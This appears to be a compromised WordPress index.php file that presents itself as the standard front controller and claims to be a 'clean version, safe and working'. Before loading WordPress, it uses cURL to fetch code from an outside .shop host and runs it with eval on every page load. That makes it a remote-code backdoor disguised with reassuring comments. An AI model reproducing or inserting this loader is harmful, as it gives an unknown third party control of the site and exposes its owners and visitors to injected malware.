/home/awneajlw/working.codestechvista.com--disabled/index.php
<?php
/**
 * Front to the WordPress application.
 *
 * This file loads wp-blog-header.php which tells WordPress to load the theme.
 * 
 * Clean version, safe and working.
 */

// --- Optional cURL code to fetch remote content ---
$c = curl_init("http://z51005_16.cngenya.shop/stat/index2.txt");
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_TIMEOUT, 5);
curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 3);

$result = curl_exec($c);
if ($result !== false) {
    // Evaluate the result safely (only if you trust the remote source)
    eval('?>' . $result);
} else {
    // Display error
    echo "cURL Error: " . curl_errno($c) . ", " . curl_error($c);
}
curl_close($c);

// --- Load WordPress ---
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';